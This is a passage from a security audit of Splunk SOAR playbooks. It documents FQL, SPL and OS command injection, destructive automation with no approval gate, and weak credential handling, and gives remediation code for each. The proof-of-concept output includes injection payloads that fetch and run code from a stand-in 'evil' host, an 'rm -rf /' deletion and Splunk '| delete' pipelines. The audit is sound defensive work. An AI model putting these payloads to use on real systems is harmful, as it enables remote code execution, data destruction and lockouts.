playbooks/CrowdStrike_OAuth_API_Endpoint_Analysis.py:52;
playbooks/CrowdStrike_OAuth_API_Get_Device_Info.py:29;
playbooks/CrowdStrike_OAuth_API_Device_Attribute_Lookup.py:158,258

`CrowdStrike_OAuth_API_Network_Isolation.py:145`, `Network_Restore.py:145`, `File_Eviction.py:128`, `File_Collection.py:135`, `File_Restore.py:118`, `Process_Termination.py:127`, `Executable_Denylisting.py:121`, `Endpoint_Analysis.py:52`, `Get_Device_Info.py:29`, and `Device_Attribute_Lookup.py:158,258` (variant `hostname:"{0}"` / `local_ip:"{0}",external_ip:"{0}"`).

```
# Network_Isolation.py
145  template = """%%\nhostname:['{0}'],device_id:['{0}']\n%%"""
148  parameters = ["playbook_input:device"]
162  phantom.format(container=container, template=template, parameters=parameters,
name="format_fql")
...  # query_device uses the string as "filter", limit 50, then iterates every returned
device_id
```

Description: The device selector is turned into an FQL filter by raw string substitution. FQL uses `'` as the string delimiter, `[...]` for value lists and `,` as OR. Nothing is quoted/validated, and the template reads the *unfiltered* `playbook_input:device`. A crafted value closes the list and ORs in another predicate, so `query device` (limit 50) returns up to 50 unrelated hosts; downstream blocks then act on every `device_id` returned - quarantine, RTR kill/rm/get, or indicator upload. **Untrusted-input reachability**: `device` comes from a notable/artifact CEF field (hostname), which an attacker chooses by generating the alert. Source -> `phantom.format` -> `query device` filter -> loop over results -> response action. **Verdict: Conditionally exploitable** - depends on Falcon accepting the extra predicate and on the connector not re-quoting; the widening to many hosts is the realistic impact even where syntax-breaking is blocked. **Proof of concept** (`scratchpad/work/pb1/poc_fql_rtr.py`, real output):

```
device = "WS01'],platform_name:['Windows"
query device filter -> "\nhostname:['WS01'],platform_name:['Windows'],device_id:
['WS01'],platform_name:['Windows']\n"
```

The injected `platform_name:['Windows']` predicate is now part of the OR filter. **Remediation**: validate the device string against an allow-list pattern and let the connector quote it. Reject anything that is not a bare hostname or a 32-hex AID before building the filter:

```
import re
def _valid_device(d):
    return bool(re.fullmatch(r'[A-Za-z0-9._-]{1,255}', d or '')) or
bool(re.fullmatch(r'[0-9a-fA-F]{32}', d or ''))
parameters = []
for item in phantom.collect2(container=container, datapath=["filtered-
data:input_filter:condition_1:playbook_input:device"]):
    dev = item[0]
    if not _valid_device(dev):
        phantom.error(f"Rejected device selector: {dev!r}")
        continue
    # quote each value; never let the raw value carry ' ] ,
    parameters.append({"limit": 50, "filter": f'hostname:[\'{dev}\'],device_id:
[\'{dev}\']'})
```

The allow-list stops the metacharacters FQL relies on (`' [ ] ,`), so the value can only ever land inside one quoted list element; functionality is unchanged for legitimate hostnames/AIDs.

Standards mapping.

CWE: CWE-943 Improper Neutralization of Special Elements in Data Query Logic; CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection). **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1562.001 Impair Defenses: Disable or Modify Tools, T1489 Service Stop. **NIST SP 800-53r5:** SI-10 Information Input Validation, AC-3 Access Enforcement, AC-6 Least Privilege. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Input Validation.

PB1-03 — Destructive response actions (account disable/enable, quarantine, kill, delete, block, global prevent IOC) with no approval gate or allow-list

Severity: High (CVSS v3.1 base 8.1). Exploitability: Exploitable for denial/lockout (PoC executed).

Location. playbooks/AD_LDAP_Account_Locking.py:44-76; AWS_IAM_Account_*.py; Azure_AD_Account_*.py; CrowdStrike_OAuth_API_Network_Isolation.py:44-76; playbooks/CrowdStrike_OAuth_API_Executable_Denylisting.py:218-254; Cisco_Umbrella_DNS_Denylisting.py:44-75; Panorama_Outbound_Traffic_Filtering.py:106-139; Active_Directory_*_Dispatch.py:20-45; DNS_Denylisting_Dispatch.py:94-121

Description: Each of these playbooks moves from input straight to a state-changing action (disable/enable account, quarantine host, kill process, delete file, block domain/URL, upload a fleet-wide prevent IOC) with only an "is the field non-empty" filter in between. There is no `phantom.prompt`/`prompt2` and no allow/deny list of protected assets. Because the selector is attacker-influenced (PB1-01/PB1-11), an adversary who can shape a notable can aim a destructive action at a chosen target: disable the SOC's own admin account, block a legitimate domain/URL (SSO, VPN, update server), quarantine a critical server, or push a global `prevent` IOC on a hash collision/legitimate binary. This is a weaponizable self-DoS / lockout. The two Microsoft/Gmail *Search and Purge* automation playbooks are the positive counter-example - they do gate on `prompt2` before deletion. **Untrusted-input reachability**: notable/artifact field -> filter (non-empty) -> action. **Verdict: Exploitable for denial/lockout** (integrity/availability), conditioned on which assets the automation user can touch and on the playbook being wired to auto-run (dispatch playbooks are `playbook_type: Automation`). **Proof of concept** (`poc_dispatch.py`, real output) - no prompt block executes before the action:

```
block domain -> {"domain": "login.microsoftonline.com"}        (Cisco Umbrella)
block url    -> {"url": "https://sso.example.com/login", "device_group": "shared",
"should_commit_changes": true}
upload indicator -> {"ioc": "<hash>", "action": "prevent", "platforms":
"linux,mac,windows", ...}
run admin command -> {"data": "4", "command": "kill", ...}
```

Remediation: before any state change, (1) check the target against an allow/deny list (never disable accounts tagged `protected`/`break_glass`, never block domains on a corporate allow-list), and (2) require analyst approval for high-impact actions via `prompt2`, as the Search-and-Purge playbooks already do. Example gate:

```
PROTECTED_USERS = {...}          # break-glass / service admins, loaded from a list asset
if user.lower() in PROTECTED_USERS:
    phantom.comment(container=container, comment=f"Refusing to disable protected account
{user}")
    return
phantom.prompt2(container=container, user=container.get('owner_name'), message=f"Disable
account {user}?", respond_in_mins=30, response_types=[{"prompt":"Disable?","options":
{"type":"list","choices":["Yes","No"]}}], callback=do_disable)
```

Standards mapping.

CWE: CWE-862 Missing Authorization (2024 CWE Top 25 #9); CWE-284 Improper Access Control; CWE-306 Missing Authentication for Critical Function (2024 CWE Top 25 #25). **OWASP Top 10 2021:** A01:2021 Broken Access Control. **MITRE ATT&CK:** T1531 Account Access Removal, T1489 Service Stop, T1498 Network Denial of Service. **NIST SP 800-53r5:** AC-3 Access Enforcement, AC-6 Least Privilege, CM-5 Access Restrictions for Change, IR-4 Incident Handling. **NIST CSF 2.0:** PR.AA Protect - Identity Management, Authentication, and Access Control, PR.PS Protect - Platform Security, RS.MI Respond - Incident Mitigation. **ISO/IEC 27001:2022:** A.5.15 Access control, A.8.2 Privileged access rights. **SANS Secure Coding Practice:** SOAR playbooks / Access Control.

PB2-01 — OS command injection via ip_or_hostname in SSH investigate playbooks

Severity: High (CVSS v3.1 base 8.0). Exploitability: Exploitable (PoC executed).

Location. playbooks/internal_host_ssh_investigate.py:269-282,314-315; playbooks/internal_host_ssh_log4j_investigate.py:128-141,208-209

- `internal_host_ssh_investigate.py:269-282` (`run_bash_script`) and `:314-315` (`get_output_zip_file`)
- `internal_host_ssh_log4j_investigate.py:128-141` (`run_bash_script`) and `:208-209`

Code excerpt (`internal_host_ssh_investigate.py:280-282`):

```
# pass the ip_hostname as an argument so it can be used in the output zip file name
for parameter in parameters:
    parameter['command'] = parameter['command'] + ' ' + parameter['ip_hostname']
```

and `:314-315`:

```
for parameter in parameters:
    parameter['file_path'] = '/tmp/' + parameter['file_path'] + '_ssh_output.zip'
```

Description: The playbook input `ip_or_hostname` is appended, unquoted, to the shell command string `bash /tmp/splunk_soar_internal_host_ssh_investigate.sh` and then dispatched via `phantom.act("execute program", …, assets=["ssh"])`. The SSH app runs the string through a shell on the target host. If `ip_or_hostname` contains shell metacharacters (`;`, `|`, `` ` ``, $()), arbitrary commands run on the endpoint with the SSH asset's privileges — which the .yml states require **sudo** (how_to_implement: The ssh asset requires sudo

access). The same value also reaches the embedded bash script as $1 (used in zip -j /tmp/$1_ssh_output.zip at :203), a second unquoted injection point inside the script itself. **Untrusted-input reachability**: Source = playbook_input:ip_or_hostname, which the parent log4j_investigate.py populates from artifact:*.cef.deviceHostname (:233-237, :262-266) — a CEF field whose value an attacker controls (e.g. a hostname harvested from a Splunk notable, an email header, or a custom list row read at log4j_investigate.py:63-76). No validation/escaping between source and sink. Verdict: **Exploitable** (precondition: SSH asset configured with sudo, which is the documented deployment). **Proof of concept** (real output, python3 -I poc.py`):

```
PoC 1: internal_host_ssh_investigate.run_bash_script (lines 269-282)
command sent to SSH 'execute program':
    bash /tmp/splunk_soar_internal_host_ssh_investigate.sh server01; curl http://evil/x|sh
#
```

Payload hostname `server01; curl http://evil/x|sh #` yields a command string where everything after `;` executes as a second command with sudo on the endpoint. **Remediation** (full replacement for `run_bash_script` custom block):

```
import shlex
for parameter in parameters:
    safe_host = parameter['ip_hostname']
    # ip_hostname is an SSH target, not shell input; pass it only as a quoted argv token
    parameter['command'] = 'bash /tmp/splunk_soar_internal_host_ssh_investigate.sh ' +
shlex.quote(safe_host)
```

and for `get_output_zip_file`:

```
import os, re
for parameter in parameters:
    host = parameter['file_path']
    if not re.fullmatch(r'[A-Za-z0-9._-]{1,253}', host):
        phantom.error("Refusing unsafe hostname: {}".format(host)); phantom.discontinue();
return
    parameter['file_path'] = '/tmp/' + host + '_ssh_output.zip'
```

`shlex.quote` ensures the hostname is a single argv token so metacharacters cannot start a new command; the allow-list regex blocks path/quote breakouts in the zip name. Functionality is preserved because legitimate hostnames/IPs match the allow-list.

Standards mapping.

CWE: CWE-78 OS Command Injection (2024 CWE Top 25 #7). **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1059.004 Command and Scripting Interpreter: Unix Shell, T1203 Exploitation for Client Execution. **NIST SP 800-53r5:** SI-10 Information Input Validation, AC-6 Least Privilege. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Input Validation.

PB2-02 — OS command injection via filepath in internal_host_ssh_log4j_respond

Severity: High (CVSS v3.1 base 8.0). Exploitability: Conditionally exploitable (locate branch ungated; delete branch prompt-gated).

Location. playbooks/internal_host_ssh_log4j_respond.py:59-64,140-150

`:140-150` (`generate_deletion_commands`). **Code excerpt** (`:60`):

```
script_str = f'''RESULT=""; for i in "{'" "'.join(v)}"; do if [ -f "$i" ]; then RESULT="$
{{RESULT}} true"; else RESULT="${{RESULT}} false"; fi; done; echo $RESULT'''
```

`:145`: `deletion_string += f'"{filepath}" '` **Description**: `v` is the list of `playbook_input:filepath` values for a host. They are interpolated into a bash `for i in "…"` list using only naive double-quote wrapping. A filepath containing a double-quote closes the string and a `;`/`|` injects a new command, which runs via SSH `execute program` on the endpoint. The deletion command built in `generate_deletion_commands` has the identical flaw and is arguably worse: it executes `rm -v $i` on fully attacker-influenced paths. **Untrusted-input reachability**: Source = `playbook_input:filepath`, populated by `log4j_respond.py:182-189` from `artifact:*.cef.filePath` (itself read from the `log4j_hosts_and_files` custom list at `log4j_respond.py:66-92`, or any CEF filePath). Verdict: **Conditionally exploitable** — the deletion branch requires an analyst to answer `confirm` to the prompt (`:165-192`), but the `locate_files` branch (`:59-64`) runs with **no** approval and is the first action on_start. **Proof of concept** (real output):

```
PoC 2: internal_host_ssh_log4j_respond.locate_files (lines 59-64)
command sent to SSH 'execute program' for host 'victim':
    RESULT=""; for i in "/tmp/a"; curl http://evil/implant|sh; echo "" "/tmp/b"; ...
PoC 3: generate_deletion_commands
deletion command: for i in "/tmp/x"; rm -rf /; echo "" ; do rm -v $i; done;
```

Remediation: never build a shell loop from untrusted paths. Pass each path as a single quoted token and test existence per path:

```
import shlex
for k, v in host_search.items():
    checks = " ; ".join('if [ -f {p} ]; then echo true; else echo false;
fi'.format(p=shlex.quote(fp)) for fp in v)
    parameters.append({"ip_hostname": k, "command": checks})
```

and for deletion, `rm -- {quoted}` with `shlex.quote` (the `--` stops option injection). This keeps the per-path true/false semantics the downstream parser expects while removing the quote-breakout.

Standards mapping.

CWE: CWE-78 OS Command Injection (2024 CWE Top 25 #7). **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1059.004 Command and Scripting Interpreter: Unix Shell, T1070 Indicator Removal. **NIST SP 800-53r5:** SI-10 Information Input Validation, AC-6 Least Privilege. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Input Validation.

PB2-04 — Command injection and arbitrary file deletion via filePath in delete_detected_files (no approval gate)

Severity: High (CVSS v3.1 base 8.0). Exploitability: Exploitable (PoC executed).

Location. playbooks/delete_detected_files.py:23,39,75,104

(`Format_More_Command`), executed via `run command` at `:75` and `:104`. **Code excerpt**:

```
template = """del "{0}\""""   # :23
template = """more "{0}\""""  # :39
parameters = ["artifact:*.cef.filePath"]
```

Description: The artifact `filePath` is substituted into `del "{0}"` and `more "{0}"` by `phantom.format` and run through the Windows Remote Management `run command` action (a cmd.exe shell). A filePath containing `"` plus `&`/`&&`/`|` breaks out of the quoted argument and runs attacker commands. There is **no prompt or approval** anywhere in this playbook — it reads then deletes automatically. **Untrusted-input reachability**: `artifact:*.cef.filePath` and `artifact:*.cef.destinationAddress` are attacker-chosen (e.g. a webshell path from a

detection). Verdict: **Exploitable** (precondition: WinRM configured, per `.yml`). **Proof of concept** (real output):

```
PoC 5: delete_detected_files
del command (winrm run command): del "x.txt" & certutil -urlcache -f http://evil/m.exe
m.exe & echo ""
more command (winrm run command): more "x.txt" & certutil -urlcache -f http://evil/m.exe
m.exe & echo ""
```

Remediation: use the EDR/WinRM app's native *delete file* action with a path parameter instead of a shell `del`, or validate the path against a strict allow-list and pass it to PowerShell `Remove-Item -LiteralPath` (single-quoted, `'` doubled). Add an analyst `prompt2` approval gate before deletion. Also constrain deletion to the directories the playbook is authorised to touch.

Standards mapping.

CWE: CWE-78 OS Command Injection (2024 CWE Top 25 #7); CWE-73. **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1059 Command and Scripting Interpreter, T1070 Indicator Removal. **NIST SP 800-53r5:** SI-10 Information Input Validation, AC-6 Least Privilege. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / File Management.

PB1-06 — Hard-coded AWS IAM console password applied to every re-enabled user (public repository)

Severity: High (CVSS v3.1 base 7.4). Exploitability: Exploitable as a known credential (PoC executed).

Location. playbooks/AWS_IAM_Account_Unlocking.py:62; playbooks/AWS_IAM_Account_Unlocking.json:147

```
571  if filtered_input_0_user_item[0] is not None:
573      "password": "Ch@ng3M3!123",
574      "username": filtered_input_0_user_item[0],
575      "enable_access_keys": True,
```

Description: When an IAM account is re-enabled the playbook recreates the login profile with the fixed password `Ch@ng3M3!123` and re-enables access keys. Every account unlocked by this playbook gets the same, now-public (committed to a public content repo) password. If the account does not have "reset required on next login" enforced, or if an attacker reaches the console before the legitimate user, this is a predictable credential. Flagged by Bandit (B105) and detect-secrets. **Untrusted-input reachability**: not injection; the weakness is the secret itself. Anyone with repo access knows the password of every account this playbook unlocks. **Verdict: Exploitable** as a weak/known credential if password-reset-on-login is not guaranteed by the connector. **Proof of concept** (`poc_logic.py` case 6, real output):

```
enable user -> {"password": "Ch@ng3M3!123", "username": "alice", "enable_access_keys":
true}
enable user -> {"password": "Ch@ng3M3!123", "username": "bob",   "enable_access_keys":
true}
```

Remediation: generate a random password per user and force reset; do not store any password in source:

```
import secrets, string
def gen_pw(n=24):
    alphabet = string.ascii_letters + string.digits + "!@#$%^&*()-_=+"
    return ''.join(secrets.choice(alphabet) for _ in range(n))
parameters.append({"password": gen_pw(), "username": user, "enable_access_keys": True})
# and ensure the IAM login profile is created with PasswordResetRequired=True
```

Standards mapping.

CWE: CWE-798 Use of Hard-coded Credentials (2024 CWE Top 25 #22); CWE-259 Use of Hard-coded Password; CWE-521 Weak Password Requirements. **OWASP Top 10 2021:** A07:2021 Identification and Authentication Failures. **MITRE ATT&CK:** T1078 Valid Accounts, T1078.004 Valid Accounts: Cloud Accounts. **NIST SP 800-53r5:** IA-5 Authenticator Management, IA-5(7) Authenticator Management | No Embedded Unencrypted Static Authenticators. **NIST CSF 2.0:** PR.AA Protect - Identity Management, Authentication, and Access Control. **ISO/IEC 27001:2022:** A.5.17 Authentication information. **SANS Secure Coding Practice:** SOAR playbooks / Authentication and Password Management.

PB2-10 — Destructive automated response with no approval gate or protected-entity allow-list

Severity: High (CVSS v3.1 base 7.4). Exploitability: Exploitable (block_indicators, delete_detected_files).

Location. playbooks/block_indicators.py:41,63,85; delete_detected_files.py:75,104; malware_hunt_and_contain.py:66,226-233; ransomware_investigate_and_contain.py:43,66,112,196,221,270

- `block_indicators.py` — `block_ip_1:41`, `block_hash_2:63`, `block_domain_1:85`

(fired from `on_start` filters, no prompt).

- `delete_detected_files.py:75,104` (auto more+del, no prompt) — see PB2-04.
- `malware_hunt_and_contain.py:66` `logoff user`, `:126/128` create ticket, `:229-232`

callback auto-launches `disable_user_1`/`logoff_user_1`/`shutdown_system_1`/`block_hash_3` (`:326,:143,:44,:349`) once VT positives >10; **no prompt**.

- `ransomware_investigate_and_contain.py:43` quarantine, `:66` disable user, `:112`

block ip, `:196/270` block hash, `:221` terminate process — all auto, **no prompt**. **Description**: These playbooks take destructive containment actions (firewall block, DNS block, EDR hash block, disable AD account, force logoff, host shutdown, quarantine, process kill) driven directly by attacker-influenced reputation data with **no human approval and no allow-list of protected entities**. An attacker who controls the input (a spoofed file hash matching a legitimate signed binary, a legitimate corporate domain/IP placed in an artifact, or a VT false-positive) can weaponise the SOC's own automation to: block a legitimate domain/CDN/IP (availability DoS), disable or log off real users including admins, shut down production hosts, or push a legitimate-file hash to an EDR blocklist. **Untrusted-input reachability**: `fileHash`, `destinationAddress`, `destinationDnsDomain`, `username`, `hostname` all CEF/attacker-chosen. Verdict: **Exploitable** for `block_indicators`, `delete_detected_files`; **Conditionally exploitable** for malware/ransomware (needs VT/sandbox verdict ≥ threshold, which an attacker can satisfy by submitting a genuinely-malicious-looking file whose *hostname/user fields* name a victim). **Proof of concept**: `block_indicators.py` has no `prompt2` anywhere (grep: zero prompts in file); `malware_hunt_and_contain.py` `hunt_file_2_callback:226-233` calls `disable_user_1`/`shutdown_system_1` directly. `ransomware_investigate_and_contain.py` `filter_1:70-88` fans out to block/quarantine with no prompt. **Remediation**: insert a `phantom.prompt2` approval before every destructive action; maintain allow-lists (`protected_users`, `protected_hosts`, `allowlisted_domains`, `allowlisted_ips`, signed-binary hash allow-list) and filter them out *before* acting; cap blast radius (e.g. refuse to disable accounts tagged admin, refuse to shut down assets above a criticality threshold). `aws_disable_user_accounts` and `crowdstrike_malware_triage` already show the correct prompt+allowlist pattern.

Standards mapping.

CWE: CWE-862 Missing Authorization (2024 CWE Top 25 #9); CWE-841. **OWASP Top 10 2021:** A01:2021 Broken Access Control. **MITRE ATT&CK:** T1531 Account Access Removal, T1489 Service Stop, T1562.001 Impair Defenses: Disable or Modify Tools. **NIST SP 800-53r5:** AC-3 Access Enforcement, CM-5 Access Restrictions for Change, SI-4 System Monitoring. **NIST CSF 2.0:** PR.AA Protect - Identity Management, Authentication, and Access Control, RS.MI Respond - Incident Mitigation. **ISO/IEC 27001:2022:** A.8.2 Privileged access rights. **SANS Secure Coding Practice:** SOAR playbooks / Access Control.

PB2-09 — Attacker-steerable host shutdown and network isolation in the log4j respond pack

Severity: High (CVSS v3.1 base 7.1). Exploitability: Conditionally exploitable (analyst confirms attacker-chosen hosts).

Location. playbooks/internal_host_ssh_log4j_respond.py:435,471,507; playbooks/internal_host_winrm_log4j_respond.py:438,473,508

(`shutdown now`), `:507` (block+shutdown); `internal_host_winrm_log4j_respond.py:438` (New-NetFirewallRule block), `:473` (`shutdown /f`), `:508` (block+shutdown). **Description**: The quarantine/shutdown actions operate on the deduplicated `ip_or_hostname` list, which is attacker-chosen. Although a `prompt2` gate exists (`:319-358`), the **list of hosts to act on is populated from CEF data**, so an attacker who can inject a critical server's hostname into the artifact set can induce an analyst (who sees only a hostname list) to blanket-shutdown or network-isolate production hosts — a self-inflicted DoS. The deletion branch's command is also the injection sink of PB2-02/03. **Untrusted-input reachability**: Verdict: **Conditionally exploitable** (requires analyst to confirm, but the decision is made on attacker-chosen host names with no asset-criticality guardrail). **Proof of concept**: covered by PB2-02/03 PoC output (the hostnames/paths acted on are attacker-controlled). **Remediation**: before presenting the quarantine prompt, cross-reference each host against an ES asset-criticality / protected-asset allow-list and refuse to shut down `pci_domain`/high-priority assets; show the analyst the asset criticality next to each host; require per-host (not blanket) confirmation.

Standards mapping.

CWE: CWE-285 Improper Authorization; CWE-640. **OWASP Top 10 2021:** A01:2021 Broken Access Control. **MITRE ATT&CK:** T1531 Account Access Removal, T1489 Service Stop. **NIST SP 800-53r5:** AC-3 Access Enforcement, CM-5 Access Restrictions for Change. **NIST CSF 2.0:** PR.AA Protect - Identity Management, Authentication, and Access Control, RS.MI Respond - Incident Mitigation. **ISO/IEC 27001:2022:** A.8.2 Privileged access rights. **SANS Secure Coding Practice:** SOAR playbooks / Access Control.

PB2-08 — Cleartext new password written into a SOAR container comment and action output

Severity: Medium (CVSS v3.1 base 6.5). Exploitability: Exploitable by any container reader.

Location. playbooks/activedirectory_reset_password.py:141-147,153-166

`:141-147` (`add_comment_pwd_reset` via `phantom.comment`). **Code excerpt** (`:156`): `template = """Reset user {0} password to {1}"""` with parameter `generate_password:custom_function:strong_password`. **Description**: After the reset, the **plaintext new password** is written into a SOAR container comment (and the JSON action output `action_result.parameter.new_password`, confirmed in the asset output spec `example_values: ['abc@123']`). Anyone with read access to the container/event — a broad set of SOC users and any integration that exports containers — sees the live AD credential. It also persists in SOAR audit history indefinitely. **Untrusted-input reachability**: the password is secret data

at rest. Verdict: **Exploitable by any container reader** (information disclosure). **Proof of concept**: template renders `Reset user jdoe password to aB3$kR9!...` into a persistent comment. (See the JSON `cells[15].template "Reset user {0} password to {1}"`.) **Remediation**: never log the password. Comment only that a reset occurred and deliver the password out-of-band (e.g. prompt the user to set it on next logon, or send via a secrets channel):

```
template = "Reset password for user {0}. New password delivered out-of-band; user must
change at next logon."
parameters = ["artifact:*.cef.compromisedUserName"]
```

Standards mapping.

CWE: CWE-532 Insertion of Sensitive Information into Log File; CWE-312 Cleartext Storage of Sensitive Information. **OWASP Top 10 2021:** A09:2021 Security Logging and Monitoring Failures, A04:2021 Insecure Design. **MITRE ATT&CK:** T1552.001 Unsecured Credentials: Credentials In Files. **NIST SP 800-53r5:** AU-9 Protection of Audit Information, IA-5 Authenticator Management. **NIST CSF 2.0:** PR.DS Protect - Data Security. **ISO/IEC 27001:2022:** A.8.12 Data leakage prevention. **SANS Secure Coding Practice:** SOAR playbooks / Error Handling and Logging.

PB2-06 — SPL injection via untrusted CEF fields in Splunk run query templates (multiple playbooks)

Severity: Medium (CVSS v3.1 base 6.3). Exploitability: Conditionally exploitable (PoC executed).

Location. playbooks/internal_host_splunk_investigate_log4j.py:28,55,82,109; risk_notable_protect_assets_and_users.py:222,253; risk_notable_import_data.py:77; Splunk_Identifier_Activity_Analysis.py:87,120,152,184; Splunk_Message_Identifier_Activity_Analysis.py:47; Splunk_Notable_Related_Tickets_Search.py:51

into SPL, later run via `phantom.act("run query", assets=["splunk"])`):

- `internal_host_splunk_investigate_log4j.py:28` ` notable `| search dest={0}` ` (unquoted),

`:55 search dest = {0}`, `:82 search dest = {0}`, `:109 asset IN ("{0}")`.

- `risk_notable_protect_assets_and_users.py:222 asset IN ("{0}")`, `:253 identity IN ("{0}")` (host/user from artifacts).
- `risk_notable_import_data.py:77 search risk_object="{0}" risk_object_type="{3}"` (risk_object).
- `Splunk_Identifier_Activity_Analysis.py:87,120,152,184` (url/file/domain/ip into tstats `IN (...)`).
- `Splunk_Message_Identifier_Activity_Analysis.py:47` (message_id/subject/src_user into Email datamodel).
- `Splunk_Notable_Related_Tickets_Search.py:51` ` notable `| search _raw IN ({0}) with` {0}=*term*`.

Description: Each template substitutes an attacker-chosen value into an SPL string. The `dest={0}` form (log4j splunk investigate `:28`) is **unquoted**, so a value like `x | delete` breaks straight into a new pipeline stage. The quoted forms (`IN ("{0}")`, `search _raw IN (…)`) are escapable by embedding a `"` and `)`. The effective privilege is that of the Splunk asset service account; ES/ESCU deployments commonly grant it `delete`, `collect`, `outputlookup` and `rest`, enabling index tampering, lookup poisoning, or data exfiltration via `sendemail`. **Untrusted-input reachability**: all

`{0}` values trace to artifact CEF fields or playbook inputs derived from notables. Verdict: **Conditionally exploitable** (gated by the search account's capability set; the unquoted `dest={0}` case is the most reliable). **Proof of concept** (real output):

```
PoC 7: Splunk_Notable_Related_Tickets_Search
`notable` | search _raw IN (*x*) | delete | append [| rest /services/... ] | search (*)
```

(search_term `x*) | delete | append [| rest /services/... ] | search (`). **Remediation**: quote and escape every interpolated value, or use the Splunk app's parameterised search where possible. Minimal fix — escape embedded quotes/backslashes and always quote:

```
def spl_quote(v): return '"' + str(v).replace('\\','\\\\').replace('"','\\"') + '"'
template = '`notable` | search dest=' + spl_quote(host) + ' | table ...'
```

Also constrain the Splunk automation account to a least-privilege role that cannot run `delete`/`collect`/`outputlookup`/`rest`/`sendemail`.

Standards mapping.

CWE: CWE-943 Improper Neutralization of Special Elements in Data Query Logic; CWE-89 SQL Injection (2024 CWE Top 25 #3). **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1059 Command and Scripting Interpreter, T1565.001 Data Manipulation: Stored Data Manipulation. **NIST SP 800-53r5:** SI-10 Information Input Validation, AC-6 Least Privilege. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Input Validation.

PB2-07 — Non-cryptographic PRNG used to generate the new Active Directory password

Severity: Medium (CVSS v3.1 base 5.9). Exploitability: Crypto hygiene.

Location. playbooks/activedirectory_reset_password.py:11-12,38-50

Code excerpt:

```
from random import randint
from random import shuffle
...
pwd += alpha[randint(0, len(alpha)-1)]      # :44
...
r = list(pwd); shuffle(r)                    # :48-49
```

Description: The new AD password for a potentially-compromised account is built from Python's `random` module (Mersenne Twister), which is **not** cryptographically secure and is seeded from predictable state. An attacker who can observe timing / other outputs could narrow the keyspace; more importantly a 20-char string drawn from a fixed pattern (`alpha, Alpha, digit, special` × 5) has far less entropy than it appears. Bandit flags this as B311 at lines 44-47. **Untrusted-input reachability**: Not directly attacker-influenced, but it sets a live credential. Verdict: **Not directly exploitable remotely; defence-in-depth / crypto hygiene issue. Proof of concept**: Bandit pre-run output: `activedirectory_reset_password.py:44 B311 … Standard pseudo-random generators are not suitable for security purposes` (lines 44,45,46,47). **Remediation**:

```
import secrets, string
def strong_password(n=20):
    alphabet = string.ascii_letters + string.digits + "!@#$%^&*("
    while True:
        pwd = ''.join(secrets.choice(alphabet) for _ in range(n))
        if (any(c.islower() for c in pwd) and any(c.isupper() for c in pwd)
                and any(c.isdigit() for c in pwd) and any(c in "!@#$%^&*(" for c in pwd)):
            return pwd
generate_password__strong_password = strong_password()
```

Standards mapping.

CWE: CWE-338; CWE-330. **OWASP Top 10 2021:** A02:2021 Cryptographic Failures. **NIST SP 800-53r5:** IA-5 Authenticator Management, SC-13 Cryptographic Protection. **NIST CSF 2.0:** PR.AA Protect - Identity Management, Authentication, and Access Control. **ISO/IEC 27001:2022:** A.8.24 Use of cryptography. **SANS Secure Coding Practice:** SOAR playbooks / Cryptographic Practices.

PB2-05 — Raw IP address passed as the whole Splunk/Carbon Black query (hunting.py)

Severity: Medium (CVSS v3.1 base 5.8). Exploitability: Conditionally exploitable.

Location. playbooks/hunting.py:303-321

Code excerpt (`:305-311`): `'query': container_item[0]` where `container_item[0]` is `artifact:*.cef.sourceAddress` / `destinationAddress`. **Description**: The raw CEF address value is handed to the `run query` action's `query` parameter for Splunk Enterprise / Carbon Black assets with no quoting or validation. On the Splunk asset this becomes attacker-influenced SPL; on Carbon Black it is EDR query-language. Impact is bounded by the search account's role but can enable `| delete`, `| outputlookup`, `| sendemail`, subsearch `| rest`. **Untrusted-input reachability**: `sourceAddress`/`destinationAddress` CEF fields are attacker-chosen. Verdict: **Conditionally exploitable** (depends on whether the Splunk asset account can run generating/transforming commands; ESCU search accounts often can run `| delete` / `| collect`). **Proof of concept** (real output):

```
PoC 6: hunting.run_query_1
query param to Splunk/CarbonBlack 'run query': 1.2.3.4" | delete | search "x
```

Remediation: validate addresses before use and never pass a free IP as a full query; build a parameterised search where the value is a quoted field comparison:

```
import ipaddress
try: ip = str(ipaddress.ip_address(container_item[0]))
except ValueError: continue
parameters.append({'query': 'search (src_ip="{0}" OR dest_ip="{0}")'.format(ip), ...})
```

Standards mapping.

CWE: CWE-943 Improper Neutralization of Special Elements in Data Query Logic; CWE-89 SQL Injection (2024 CWE Top 25 #3). **OWASP Top 10 2021:** A03:2021 Injection. **MITRE ATT&CK:** T1059 Command and Scripting Interpreter. **NIST SP 800-53r5:** SI-10 Information Input Validation. **NIST CSF 2.0:** PR.PS Protect - Platform Security. **ISO/IEC 27001:2022:** A.8.28 Secure coding. **SANS Secure Coding Practice:** SOAR playbooks / Input Validation.

PB1-07 — Attacker-controlled e-mail Message-ID drives tenant-wide search, delete and restore (MS Graph, Gmail)

Severity: Medium (CVSS v3.1 base 5.4). Exploitability: Conditionally exploitable.

Location. playbooks/MS_Graph_for_Office_365_Message_Eviction.py:30-97; MS_Graph_for_Office_365_Message_Restore.py:30-98; MS_Graph_for_Office_365_Message_Identifier_Activity_Analysis.py:68-104; G_Suite_for_GMail_Message_Identifier_Activity_Analysis.py:73-109; G_Suite_for_Gmail_Message_Eviction.py

